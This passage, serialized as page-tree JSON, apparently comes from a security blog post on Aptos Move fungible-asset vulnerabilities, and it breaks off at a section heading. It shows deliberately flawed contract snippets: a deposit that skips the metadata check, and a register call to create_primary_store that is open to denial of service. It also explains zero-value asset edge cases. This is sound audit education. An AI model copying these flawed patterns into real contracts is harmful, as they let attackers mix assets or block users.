deposit",{"type":26,"tag":475,"props":61378,"children":61379},{"style":499},[61380],{"type":32,"value":5519},{"type":26,"tag":475,"props":61382,"children":61383},{"style":505},[61384],{"type":32,"value":5701},{"type":26,"tag":475,"props":61386,"children":61387},{"style":714},[61388],{"type":32,"value":179},{"type":26,"tag":475,"props":61390,"children":61391},{"style":2375},[61392],{"type":32,"value":5645},{"type":26,"tag":475,"props":61394,"children":61395},{"style":499},[61396],{"type":32,"value":6302},{"type":26,"tag":475,"props":61398,"children":61399},{"class":477,"line":516},[61400,61405,61409,61413,61417,61421,61426,61430],{"type":26,"tag":475,"props":61401,"children":61402},{"style":2375},[61403],{"type":32,"value":61404}," sender",{"type":26,"tag":475,"props":61406,"children":61407},{"style":714},[61408],{"type":32,"value":179},{"type":26,"tag":475,"props":61410,"children":61411},{"style":714},[61412],{"type":32,"value":6854},{"type":26,"tag":475,"props":61414,"children":61415},{"style":2375},[61416],{"type":32,"value":6859},{"type":26,"tag":475,"props":61418,"children":61419},{"style":499},[61420],{"type":32,"value":637},{"type":26,"tag":475,"props":61422,"children":61423},{"style":2375},[61424],{"type":32,"value":61425},"fa",{"type":26,"tag":475,"props":61427,"children":61428},{"style":714},[61429],{"type":32,"value":179},{"type":26,"tag":475,"props":61431,"children":61432},{"style":505},[61433],{"type":32,"value":61434}," FungibleAsset\n",{"type":26,"tag":475,"props":61436,"children":61437},{"class":477,"line":539},[61438,61442,61446,61450,61454],{"type":26,"tag":475,"props":61439,"children":61440},{"style":499},[61441],{"type":32,"value":2794},{"type":26,"tag":475,"props":61443,"children":61444},{"style":2375},[61445],{"type":32,"value":6057},{"type":26,"tag":475,"props":61447,"children":61448},{"style":499},[61449],{"type":32,"value":22741},{"type":26,"tag":475,"props":61451,"children":61452},{"style":714},[61453],{"type":32,"value":9300},{"type":26,"tag":475,"props":61455,"children":61456},{"style":499},[61457],{"type":32,"value":61458},"] {\n",{"type":26,"tag":475,"props":61460,"children":61461},{"class":477,"line":548},[61462,61467],{"type":26,"tag":475,"props":61463,"children":61464},{"style":493},[61465],{"type":32,"value":61466}," assert_not_paused",{"type":26,"tag":475,"props":61468,"children":61469},{"style":499},[61470],{"type":32,"value":3376},{"type":26,"tag":475,"props":61472,"children":61473},{"class":477,"line":558},[61474],{"type":26,"tag":475,"props":61475,"children":61476},{"style":499},[61477],{"type":32,"value":61478}," \n",{"type":26,"tag":475,"props":61480,"children":61481},{"class":477,"line":582},[61482,61486,61491,61495,61500,61504,61508,61512,61516,61520],{"type":26,"tag":475,"props":61483,"children":61484},{"style":482},[61485],{"type":32,"value":2705},{"type":26,"tag":475,"props":61487,"children":61488},{"style":2375},[61489],{"type":32,"value":61490}," fa_amount",{"type":26,"tag":475,"props":61492,"children":61493},{"style":714},[61494],{"type":32,"value":2383},{"type":26,"tag":475,"props":61496,"children":61497},{"style":499},[61498],{"type":32,"value":61499}," fungible_asset",{"type":26,"tag":475,"props":61501,"children":61502},{"style":714},[61503],{"type":32,"value":3187},{"type":26,"tag":475,"props":61505,"children":61506},{"style":493},[61507],{"type":32,"value":20014},{"type":26,"tag":475,"props":61509,"children":61510},{"style":499},[61511],{"type":32,"value":626},{"type":26,"tag":475,"props":61513,"children":61514},{"style":714},[61515],{"type":32,"value":2816},{"type":26,"tag":475,"props":61517,"children":61518},{"style":2375},[61519],{"type":32,"value":61425},{"type":26,"tag":475,"props":61521,"children":61522},{"style":499},[61523],{"type":32,"value":3533},{"type":26,"tag":475,"props":61525,"children":61526},{"class":477,"line":596},[61527,61531,61536,61540,61545,61549,61554],{"type":26,"tag":475,"props":61528,"children":61529},{"style":482},[61530],{"type":32,"value":2705},{"type":26,"tag":475,"props":61532,"children":61533},{"style":2375},[61534],{"type":32,"value":61535}," sender_address",{"type":26,"tag":475,"props":61537,"children":61538},{"style":714},[61539],{"type":32,"value":2383},{"type":26,"tag":475,"props":61541,"children":61542},{"style":493},[61543],{"type":32,"value":61544}," address_of",{"type":26,"tag":475,"props":61546,"children":61547},{"style":499},[61548],{"type":32,"value":626},{"type":26,"tag":475,"props":61550,"children":61551},{"style":2375},[61552],{"type":32,"value":61553},"sender",{"type":26,"tag":475,"props":61555,"children":61556},{"style":499},[61557],{"type":32,"value":3533},{"type":26,"tag":475,"props":61559,"children":61560},{"class":477,"line":610},[61561,61566,61570,61575,61579,61584],{"type":26,"tag":475,"props":61562,"children":61563},{"style":493},[61564],{"type":32,"value":61565}," check_compliance",{"type":26,"tag":475,"props":61567,"children":61568},{"style":499},[61569],{"type":32,"value":626},{"type":26,"tag":475,"props":61571,"children":61572},{"style":2375},[61573],{"type":32,"value":61574},"fa_amount",{"type":26,"tag":475,"props":61576,"children":61577},{"style":499},[61578],{"type":32,"value":637},{"type":26,"tag":475,"props":61580,"children":61581},{"style":2375},[61582],{"type":32,"value":61583},"sender_address",{"type":26,"tag":475,"props":61585,"children":61586},{"style":499},[61587],{"type":32,"value":3533},{"type":26,"tag":475,"props":61589,"children":61590},{"class":477,"line":650},[61591],{"type":26,"tag":475,"props":61592,"children":61593},{"style":499},[61594],{"type":32,"value":61478},{"type":26,"tag":475,"props":61596,"children":61597},{"class":477,"line":679},[61598,61603,61607,61612,61616,61620,61624,61628],{"type":26,"tag":475,"props":61599,"children":61600},{"style":493},[61601],{"type":32,"value":61602}," increase_deposit",{"type":26,"tag":475,"props":61604,"children":61605},{"style":499},[61606],{"type":32,"value":626},{"type":26,"tag":475,"props":61608,"children":61609},{"style":493},[61610],{"type":32,"value":61611},"get_vault",{"type":26,"tag":475,"props":61613,"children":61614},{"style":499},[61615],{"type":32,"value":626},{"type":26,"tag":475,"props":61617,"children":61618},{"style":2375},[61619],{"type":32,"value":61583},{"type":26,"tag":475,"props":61621,"children":61622},{"style":499},[61623],{"type":32,"value":14883},{"type":26,"tag":475,"props":61625,"children":61626},{"style":2375},[61627],{"type":32,"value":61574},{"type":26,"tag":475,"props":61629,"children":61630},{"style":499},[61631],{"type":32,"value":3533},{"type":26,"tag":475,"props":61633,"children":61634},{"class":477,"line":735},[61635],{"type":26,"tag":475,"props":61636,"children":61637},{"style":499},[61638],{"type":32,"value":61478},{"type":26,"tag":475,"props":61640,"children":61641},{"class":477,"line":744},[61642,61647,61651,61656,61660,61665,61669,61673],{"type":26,"tag":475,"props":61643,"children":61644},{"style":499},[61645],{"type":32,"value":61646}," primary_fungible_store",{"type":26,"tag":475,"props":61648,"children":61649},{"style":714},[61650],{"type":32,"value":3187},{"type":26,"tag":475,"props":61652,"children":61653},{"style":493},[61654],{"type":32,"value":61655},"deposit",{"type":26,"tag":475,"props":61657,"children":61658},{"style":499},[61659],{"type":32,"value":626},{"type":26,"tag":475,"props":61661,"children":61662},{"style":493},[61663],{"type":32,"value":61664},"global_vault_address",{"type":26,"tag":475,"props":61666,"children":61667},{"style":499},[61668],{"type":32,"value":18083},{"type":26,"tag":475,"props":61670,"children":61671},{"style":2375},[61672],{"type":32,"value":61425},{"type":26,"tag":475,"props":61674,"children":61675},{"style":499},[61676],{"type":32,"value":3533},{"type":26,"tag":475,"props":61678,"children":61679},{"class":477,"line":753},[61680],{"type":26,"tag":475,"props":61681,"children":61682},{"style":499},[61683],{"type":32,"value":61478},{"type":26,"tag":475,"props":61685,"children":61686},{"class":477,"line":761},[61687,61692,61696,61701,61705,61710,61714,61718,61722,61726],{"type":26,"tag":475,"props":61688,"children":61689},{"style":499},[61690],{"type":32,"value":61691}," event",{"type":26,"tag":475,"props":61693,"children":61694},{"style":714},[61695],{"type":32,"value":3187},{"type":26,"tag":475,"props":61697,"children":61698},{"style":493},[61699],{"type":32,"value":61700},"emit",{"type":26,"tag":475,"props":61702,"children":61703},{"style":499},[61704],{"type":32,"value":626},{"type":26,"tag":475,"props":61706,"children":61707},{"style":505},[61708],{"type":32,"value":61709},"Deposit",{"type":26,"tag":475,"props":61711,"children":61712},{"style":499},[61713],{"type":32,"value":44910},{"type":26,"tag":475,"props":61715,"children":61716},{"style":2375},[61717],{"type":32,"value":61583},{"type":26,"tag":475,"props":61719,"children":61720},{"style":499},[61721],{"type":32,"value":637},{"type":26,"tag":475,"props":61723,"children":61724},{"style":2375},[61725],{"type":32,"value":61574},{"type":26,"tag":475,"props":61727,"children":61728},{"style":499},[61729],{"type":32,"value":32719},{"type":26,"tag":475,"props":61731,"children":61732},{"class":477,"line":770},[61733],{"type":26,"tag":475,"props":61734,"children":61735},{"style":499},[61736],{"type":32,"value":3607},{"type":26,"tag":35,"props":61738,"children":61739},{},[61740],{"type":32,"value":61741},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":26,"tag":35,"props":61743,"children":61744},{},[61745],{"type":32,"value":61746},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":26,"tag":27,"props":61748,"children":61750},{"id":61749},"fungible-stores",[61751],{"type":32,"value":61752},"Fungible stores",{"type":26,"tag":35,"props":61754,"children":61755},{},[61756],{"type":32,"value":61757},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":26,"tag":35,"props":61759,"children":61760},{},[61761,61763,61769],{"type":32,"value":61762},"Meet the ",{"type":26,"tag":53,"props":61764,"children":61766},{"className":61765},[],[61767],{"type":32,"value":61768},"FungibleStore",{"type":32,"value":353},{"type":26,"tag":465,"props":61771,"children":61773},{"className":2685,"code":61772,"language":2684,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n frozen: bool,\n}\n",[61774],{"type":26,"tag":53,"props":61775,"children":61776},{"__ignoreMap":7},[61777,61801,61828,61848,61867],{"type":26,"tag":475,"props":61778,"children":61779},{"class":477,"line":478},[61780,61784,61789,61793,61797],{"type":26,"tag":475,"props":61781,"children":61782},{"style":482},[61783],{"type":32,"value":9111},{"type":26,"tag":475,"props":61785,"children":61786},{"style":505},[61787],{"type":32,"value":61788}," FungibleStore",{"type":26,"tag":475,"props":61790,"children":61791},{"style":2375},[61792],{"type":32,"value":9120},{"type":26,"tag":475,"props":61794,"children":61795},{"style":2375},[61796],{"type":32,"value":5645},{"type":26,"tag":475,"props":61798,"children":61799},{"style":499},[61800],{"type":32,"value":579},{"type":26,"tag":475,"props":61802,"children":61803},{"class":477,"line":516},[61804,61808,61812,61816,61820,61824],{"type":26,"tag":475,"props":61805,"children":61806},{"style":2375},[61807],{"type":32,"value":61244},{"type":26,"tag":475,"props":61809,"children":61810},{"style":714},[61811],{"type":32,"value":179},{"type":26,"tag":475,"props":61813,"children":61814},{"style":505},[61815],{"type":32,"value":61253},{"type":26,"tag":475,"props":61817,"children":61818},{"style":499},[61819],{"type":32,"value":5519},{"type":26,"tag":475,"props":61821,"children":61822},{"style":505},[61823],{"type":32,"value":61262},{"type":26,"tag":475,"props":61825,"children":61826},{"style":499},[61827],{"type":32,"value":5852},{"type":26,"tag":475,"props":61829,"children":61830},{"class":477,"line":539},[61831,61836,61840,61844],{"type":26,"tag":475,"props":61832,"children":61833},{"style":2375},[61834],{"type":32,"value":61835}," balance",{"type":26,"tag":475,"props":61837,"children":61838},{"style":714},[61839],{"type":32,"value":179},{"type":26,"tag":475,"props":61841,"children":61842},{"style":505},[61843],{"type":32,"value":5573},{"type":26,"tag":475,"props":61845,"children":61846},{"style":499},[61847],{"type":32,"value":2425},{"type":26,"tag":475,"props":61849,"children":61850},{"class":477,"line":548},[61851,61855,61859,61863],{"type":26,"tag":475,"props":61852,"children":61853},{"style":2375},[61854],{"type":32,"value":60905},{"type":26,"tag":475,"props":61856,"children":61857},{"style":714},[61858],{"type":32,"value":179},{"type":26,"tag":475,"props":61860,"children":61861},{"style":505},[61862],{"type":32,"value":11759},{"type":26,"tag":475,"props":61864,"children":61865},{"style":499},[61866],{"type":32,"value":2425},{"type":26,"tag":475,"props":61868,"children":61869},{"class":477,"line":558},[61870],{"type":26,"tag":475,"props":61871,"children":61872},{"style":499},[61873],{"type":32,"value":3607},{"type":26,"tag":35,"props":61875,"children":61876},{},[61877,61882,61884,61889,61891,61896,61898,61903,61905,61910],{"type":26,"tag":53,"props":61878,"children":61880},{"className":61879},[],[61881],{"type":32,"value":61768},{"type":32,"value":61883}," manages balances and metadata instead of holding the actual ",{"type":26,"tag":53,"props":61885,"children":61887},{"className":61886},[],[61888],{"type":32,"value":61203},{"type":32,"value":61890}," (it can't because ",{"type":26,"tag":53,"props":61892,"children":61894},{"className":61893},[],[61895],{"type":32,"value":61203},{"type":32,"value":61897}," doesn't have ",{"type":26,"tag":53,"props":61899,"children":61901},{"className":61900},[],[61902],{"type":32,"value":5654},{"type":32,"value":61904},"). Withdrawals create temporary ",{"type":26,"tag":53,"props":61906,"children":61908},{"className":61907},[],[61909],{"type":32,"value":61203},{"type":32,"value":61911}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":26,"tag":18502,"props":61913,"children":61914},{},[],{"type":26,"tag":35,"props":61916,"children":61917},{},[61918,61920,61925,61927,61932],{"type":32,"value":61919},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":26,"tag":53,"props":61921,"children":61923},{"className":61922},[],[61924],{"type":32,"value":61203},{"type":32,"value":61926}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":26,"tag":53,"props":61928,"children":61930},{"className":61929},[],[61931],{"type":32,"value":61203},{"type":32,"value":353},{"type":26,"tag":465,"props":61934,"children":61936},{"className":2685,"code":61935,"language":2684,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[61937],{"type":26,"tag":53,"props":61938,"children":61939},{"__ignoreMap":7},[61940,61977,62029,62072,62079,62086,62158,62170,62208,62227,62234],{"type":26,"tag":475,"props":61941,"children":61942},{"class":477,"line":478},[61943,61947,61951,61956,61960,61965,61969,61973],{"type":26,"tag":475,"props":61944,"children":61945},{"style":2375},[61946],{"type":32,"value":61367},{"type":26,"tag":475,"props":61948,"children":61949},{"style":2375},[61950],{"type":32,"value":490},{"type":26,"tag":475,"props":61952,"children":61953},{"style":493},[61954],{"type":32,"value":61955}," destroy_zero",{"type":26,"tag":475,"props":61957,"children":61958},{"style":499},[61959],{"type":32,"value":626},{"type":26,"tag":475,"props":61961,"children":61962},{"style":2375},[61963],{"type":32,"value":61964},"fungible_asset",{"type":26,"tag":475,"props":61966,"children":61967},{"style":714},[61968],{"type":32,"value":179},{"type":26,"tag":475,"props":61970,"children":61971},{"style":505},[61972],{"type":32,"value":61232},{"type":26,"tag":475,"props":61974,"children":61975},{"style":499},[61976],{"type":32,"value":676},{"type":26,"tag":475,"props":61978,"children":61979},{"class":477,"line":516},[61980,61984,61988,61992,61996,62000,62005,62009,62013,62017,62021,62025],{"type":26,"tag":475,"props":61981,"children":61982},{"style":482},[61983],{"type":32,"value":2705},{"type":26,"tag":475,"props":61985,"children":61986},{"style":505},[61987],{"type":32,"value":61232},{"type":26,"tag":475,"props":61989,"children":61990},{"style":499},[61991],{"type":32,"value":1101},{"type":26,"tag":475,"props":61993,"children":61994},{"style":2375},[61995],{"type":32,"value":20014},{"type":26,"tag":475,"props":61997,"children":61998},{"style":499},[61999],{"type":32,"value":637},{"type":26,"tag":475,"props":62001,"children":62002},{"style":2375},[62003],{"type":32,"value":62004},"metadata",{"type":26,"tag":475,"props":62006,"children":62007},{"style":714},[62008],{"type":32,"value":179},{"type":26,"tag":475,"props":62010,"children":62011},{"style":2375},[62012],{"type":32,"value":2742},{"type":26,"tag":475,"props":62014,"children":62015},{"style":499},[62016],{"type":32,"value":35897},{"type":26,"tag":475,"props":62018,"children":62019},{"style":714},[62020],{"type":32,"value":786},{"type":26,"tag":475,"props":62022,"children":62023},{"style":2375},[62024],{"type":32,"value":61499},{"type":26,"tag":475,"props":62026,"children":62027},{"style":499},[62028],{"type":32,"value":2729},{"type":26,"tag":475,"props":62030,"children":62031},{"class":477,"line":539},[62032,62037,62041,62045,62049,62053,62058,62062,62067],{"type":26,"tag":475,"props":62033,"children":62034},{"style":493},[62035],{"type":32,"value":62036}," assert!",{"type":26,"tag":475,"props":62038,"children":62039},{"style":499},[62040],{"type":32,"value":626},{"type":26,"tag":475,"props":62042,"children":62043},{"style":2375},[62044],{"type":32,"value":20014},{"type":26,"tag":475,"props":62046,"children":62047},{"style":714},[62048],{"type":32,"value":2990},{"type":26,"tag":475,"props":62050,"children":62051},{"style":903},[62052],{"type":32,"value":2752},{"type":26,"tag":475,"props":62054,"children":62055},{"style":499},[62056],{"type":32,"value":62057},", error",{"type":26,"tag":475,"props":62059,"children":62060},{"style":714},[62061],{"type":32,"value":3187},{"type":26,"tag":475,"props":62063,"children":62064},{"style":493},[62065],{"type":32,"value":62066},"invalid_argument",{"type":26,"tag":475,"props":62068,"children":62069},{"style":499},[62070],{"type":32,"value":62071},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":26,"tag":475,"props":62073,"children":62074},{"class":477,"line":548},[62075],{"type":26,"tag":475,"props":62076,"children":62077},{"style":499},[62078],{"type":32,"value":3607},{"type":26,"tag":475,"props":62080,"children":62081},{"class":477,"line":558},[62082],{"type":26,"tag":475,"props":62083,"children":62084},{"emptyLinePlaceholder":18},[62085],{"type":32,"value":545},{"type":26,"tag":475,"props":62087,"children":62088},{"class":477,"line":582},[62089,62093,62097,62102,62106,62110,62114,62118,62122,62126,62130,62134,62138,62142,62146,62150,62154],{"type":26,"tag":475,"props":62090,"children":62091},{"style":2375},[62092],{"type":32,"value":61367},{"type":26,"tag":475,"props":62094,"children":62095},{"style":2375},[62096],{"type":32,"value":490},{"type":26,"tag":475,"props":62098,"children":62099},{"style":2375},[62100],{"type":32,"value":62101}," zero",{"type":26,"tag":475,"props":62103,"children":62104},{"style":499},[62105],{"type":32,"value":5519},{"type":26,"tag":475,"props":62107,"children":62108},{"style":505},[62109],{"type":32,"value":5701},{"type":26,"tag":475,"props":62111,"children":62112},{"style":714},[62113],{"type":32,"value":179},{"type":26,"tag":475,"props":62115,"children":62116},{"style":2375},[62117],{"type":32,"value":5645},{"type":26,"tag":475,"props":62119,"children":62120},{"style":499},[62121],{"type":32,"value":7323},{"type":26,"tag":475,"props":62123,"children":62124},{"style":2375},[62125],{"type":32,"value":62004},{"type":26,"tag":475,"props":62127,"children":62128},{"style":714},[62129],{"type":32,"value":179},{"type":26,"tag":475,"props":62131,"children":62132},{"style":505},[62133],{"type":32,"value":61253},{"type":26,"tag":475,"props":62135,"children":62136},{"style":499},[62137],{"type":32,"value":5519},{"type":26,"tag":475,"props":62139,"children":62140},{"style":505},[62141],{"type":32,"value":5701},{"type":26,"tag":475,"props":62143,"children":62144},{"style":499},[62145],{"type":32,"value":8100},{"type":26,"tag":475,"props":62147,"children":62148},{"style":714},[62149],{"type":32,"value":179},{"type":26,"tag":475,"props":62151,"children":62152},{"style":505},[62153],{"type":32,"value":61232},{"type":26,"tag":475,"props":62155,"children":62156},{"style":499},[62157],{"type":32,"value":579},{"type":26,"tag":475,"props":62159,"children":62160},{"class":477,"line":596},[62161,62166],{"type":26,"tag":475,"props":62162,"children":62163},{"style":505},[62164],{"type":32,"value":62165}," FungibleAsset",{"type":26,"tag":475,"props":62167,"children":62168},{"style":499},[62169],{"type":32,"value":579},{"type":26,"tag":475,"props":62171,"children":62172},{"class":477,"line":610},[62173,62178,62182,62187,62191,62196,62200,62204],{"type":26,"tag":475,"props":62174,"children":62175},{"style":2375},[62176],{"type":32,"value":62177}," metadata",{"type":26,"tag":475,"props":62179,"children":62180},{"style":714},[62181],{"type":32,"value":179},{"type":26,"tag":475,"props":62183,"children":62184},{"style":499},[62185],{"type":32,"value":62186}," object",{"type":26,"tag":475,"props":62188,"children":62189},{"style":714},[62190],{"type":32,"value":3187},{"type":26,"tag":475,"props":62192,"children":62193},{"style":493},[62194],{"type":32,"value":62195},"convert",{"type":26,"tag":475,"props":62197,"children":62198},{"style":499},[62199],{"type":32,"value":626},{"type":26,"tag":475,"props":62201,"children":62202},{"style":2375},[62203],{"type":32,"value":62004},{"type":26,"tag":475,"props":62205,"children":62206},{"style":499},[62207],{"type":32,"value":6450},{"type":26,"tag":475,"props":62209,"children":62210},{"class":477,"line":650},[62211,62215,62219,62223],{"type":26,"tag":475,"props":62212,"children":62213},{"style":2375},[62214],{"type":32,"value":7161},{"type":26,"tag":475,"props":62216,"children":62217},{"style":714},[62218],{"type":32,"value":179},{"type":26,"tag":475,"props":62220,"children":62221},{"style":903},[62222],{"type":32,"value":2752},{"type":26,"tag":475,"props":62224,"children":62225},{"style":499},[62226],{"type":32,"value":2425},{"type":26,"tag":475,"props":62228,"children":62229},{"class":477,"line":679},[62230],{"type":26,"tag":475,"props":62231,"children":62232},{"style":499},[62233],{"type":32,"value":851},{"type":26,"tag":475,"props":62235,"children":62236},{"class":477,"line":735},[62237],{"type":26,"tag":475,"props":62238,"children":62239},{"style":499},[62240],{"type":32,"value":3607},{"type":26,"tag":35,"props":62242,"children":62243},{},[62244],{"type":32,"value":62245},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":26,"tag":35,"props":62247,"children":62248},{},[62249,62251,62256],{"type":32,"value":62250},"In practice, the ability to freely mint and burn zero ",{"type":26,"tag":53,"props":62252,"children":62254},{"className":62253},[],[62255],{"type":32,"value":61345},{"type":32,"value":62257}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":26,"tag":41,"props":62259,"children":62261},{"id":62260},"primary-and-secondary-stores",[62262],{"type":32,"value":62263},"Primary and secondary stores",{"type":26,"tag":35,"props":62265,"children":62266},{},[62267,62273,62275,62281,62283,62288],{"type":26,"tag":53,"props":62268,"children":62270},{"className":62269},[],[62271],{"type":32,"value":62272},"FungibleStores",{"type":32,"value":62274}," in comparison to ",{"type":26,"tag":53,"props":62276,"children":62278},{"className":62277},[],[62279],{"type":32,"value":62280},"CoinStores",{"type":32,"value":62282}," are not unique. Each user can have multiple ",{"type":26,"tag":53,"props":62284,"children":62286},{"className":62285},[],[62287],{"type":32,"value":61768},{"type":32,"value":62289}," objects for a given token!",{"type":26,"tag":35,"props":62291,"children":62292},{},[62293,62295,62302,62304,62309],{"type":32,"value":62294},"A primary fungible store is maintained via the aptly named ",{"type":26,"tag":116,"props":62296,"children":62299},{"href":62297,"rel":62298},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[120],[62300],{"type":32,"value":62301},"primary_fungible_store",{"type":32,"value":62303}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":26,"tag":53,"props":62305,"children":62307},{"className":62306},[],[62308],{"type":32,"value":61262},{"type":32,"value":62310}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":26,"tag":35,"props":62312,"children":62313},{},[62314],{"type":32,"value":62315},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":26,"tag":465,"props":62317,"children":62319},{"className":2685,"code":62318,"language":2684,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[62320],{"type":26,"tag":53,"props":62321,"children":62322},{"__ignoreMap":7},[62323,62348,62380,62403,62419,62473,62488],{"type":26,"tag":475,"props":62324,"children":62325},{"class":477,"line":478},[62326,62330,62335,62339,62344],{"type":26,"tag":475,"props":62327,"children":62328},{"style":2375},[62329],{"type":32,"value":61367},{"type":26,"tag":475,"props":62331,"children":62332},{"style":2375},[62333],{"type":32,"value":62334}," entry",{"type":26,"tag":475,"props":62336,"children":62337},{"style":2375},[62338],{"type":32,"value":490},{"type":26,"tag":475,"props":62340,"children":62341},{"style":493},[62342],{"type":32,"value":62343}," register",{"type":26,"tag":475,"props":62345,"children":62346},{"style":499},[62347],{"type":32,"value":3169},{"type":26,"tag":475,"props":62349,"children":62350},{"class":477,"line":516},[62351,62356,62360,62364,62368,62372,62376],{"type":26,"tag":475,"props":62352,"children":62353},{"style":2375},[62354],{"type":32,"value":62355}," user",{"type":26,"tag":475,"props":62357,"children":62358},{"style":714},[62359],{"type":32,"value":179},{"type":26,"tag":475,"props":62361,"children":62362},{"style":714},[62363],{"type":32,"value":6854},{"type":26,"tag":475,"props":62365,"children":62366},{"style":2375},[62367],{"type":32,"value":6859},{"type":26,"tag":475,"props":62369,"children":62370},{"style":499},[62371],{"type":32,"value":43828},{"type":26,"tag":475,"props":62373,"children":62374},{"style":714},[62375],{"type":32,"value":9300},{"type":26,"tag":475,"props":62377,"children":62378},{"style":499},[62379],{"type":32,"value":11481},{"type":26,"tag":475,"props":62381,"children":62382},{"class":477,"line":539},[62383,62387,62391,62395,62399],{"type":26,"tag":475,"props":62384,"children":62385},{"style":499},[62386],{"type":32,"value":2794},{"type":26,"tag":475,"props":62388,"children":62389},{"style":2375},[62390],{"type":32,"value":6057},{"type":26,"tag":475,"props":62392,"children":62393},{"style":499},[62394],{"type":32,"value":22741},{"type":26,"tag":475,"props":62396,"children":62397},{"style":714},[62398],{"type":32,"value":9300},{"type":26,"tag":475,"props":62400,"children":62401},{"style":499},[62402],{"type":32,"value":61458},{"type":26,"tag":475,"props":62404,"children":62405},{"class":477,"line":548},[62406,62411,62415],{"type":26,"tag":475,"props":62407,"children":62408},{"style":499},[62409],{"type":32,"value":62410}," [",{"type":26,"tag":475,"props":62412,"children":62413},{"style":714},[62414],{"type":32,"value":9300},{"type":26,"tag":475,"props":62416,"children":62417},{"style":499},[62418],{"type":32,"value":11481},{"type":26,"tag":475,"props":62420,"children":62421},{"class":477,"line":558},[62422,62426,62431,62435,62440,62444,62448,62452,62456,62460,62464,62469],{"type":26,"tag":475,"props":62423,"children":62424},{"style":482},[62425],{"type":32,"value":2705},{"type":26,"tag":475,"props":62427,"children":62428},{"style":2375},[62429],{"type":32,"value":62430}," wallet_store",{"type":26,"tag":475,"props":62432,"children":62433},{"style":714},[62434],{"type":32,"value":2383},{"type":26,"tag":475,"props":62436,"children":62437},{"style":493},[62438],{"type":32,"value":62439}," create_primary_store",{"type":26,"tag":475,"props":62441,"children":62442},{"style":499},[62443],{"type":32,"value":6913},{"type":26,"tag":475,"props":62445,"children":62446},{"style":714},[62447],{"type":32,"value":3187},{"type":26,"tag":475,"props":62449,"children":62450},{"style":493},[62451],{"type":32,"value":6922},{"type":26,"tag":475,"props":62453,"children":62454},{"style":499},[62455],{"type":32,"value":626},{"type":26,"tag":475,"props":62457,"children":62458},{"style":2375},[62459],{"type":32,"value":61553},{"type":26,"tag":475,"props":62461,"children":62462},{"style":499},[62463],{"type":32,"value":14883},{"type":26,"tag":475,"props":62465,"children":62466},{"style":493},[62467],{"type":32,"value":62468},"get_metadata",{"type":26,"tag":475,"props":62470,"children":62471},{"style":499},[62472],{"type":32,"value":2494},{"type":26,"tag":475,"props":62474,"children":62475},{"class":477,"line":582},[62476,62480,62484],{"type":26,"tag":475,"props":62477,"children":62478},{"style":499},[62479],{"type":32,"value":62410},{"type":26,"tag":475,"props":62481,"children":62482},{"style":714},[62483],{"type":32,"value":9300},{"type":26,"tag":475,"props":62485,"children":62486},{"style":499},[62487],{"type":32,"value":11481},{"type":26,"tag":475,"props":62489,"children":62490},{"class":477,"line":596},[62491],{"type":26,"tag":475,"props":62492,"children":62493},{"style":499},[62494],{"type":32,"value":3607},{"type":26,"tag":35,"props":62496,"children":62497},{},[62498,62499,62505,62507,62513],{"type":32,"value":16319},{"type":26,"tag":53,"props":62500,"children":62502},{"className":62501},[],[62503],{"type":32,"value":62504},"create_primary_store",{"type":32,"value":62506}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":26,"tag":53,"props":62508,"children":62510},{"className":62509},[],[62511],{"type":32,"value":62512},"ensure_primary_store_exists",{"type":32,"value":62514}," is recommended to avoid such issues.",{"type":26,"tag":27,"props":62516,"children":62518},{"id":62517},"fungible-assets-and-objects",[62519],{"type":32,"value":62520},"Fungible assets and objects",{"type":26,"tag":35,"props":62522,"children":62523},{},[62524,62526,62531,62533,62540],{"type":32,"value":62525},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":26,"tag":53,"props":62527,"children":62529},{"className":62528},[],[62530],{"type":32,"value":48544},{"type":32,"value":62532}," module, introduced in ",{"type":26,"tag":116,"props":62534,"children":62537},{"href":62535,"rel":62536},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[120],[62538],{"type":32,"value":62539},"AIP-10",{"type":32,"value":353},{"type":26,"tag":2637,"props":62542,"children":62543},{},[62544],{"type":26,"tag":35,"props":62545,"children":62546},{},[62547,62551],{"type":26,"tag":475,"props":62548,"children":62549},{},[62550],{"type":32,"value":61142},{"type":32,"value":62552}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":26,"tag":35,"props":62554,"children":62555},{},[62556],{"type":32,"value":62557},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":26,"tag":41,"props":62559,"children":62561},{"id":62560},"creation-and-deletion",[62562],{"type":32,"value":62563},"Creation and 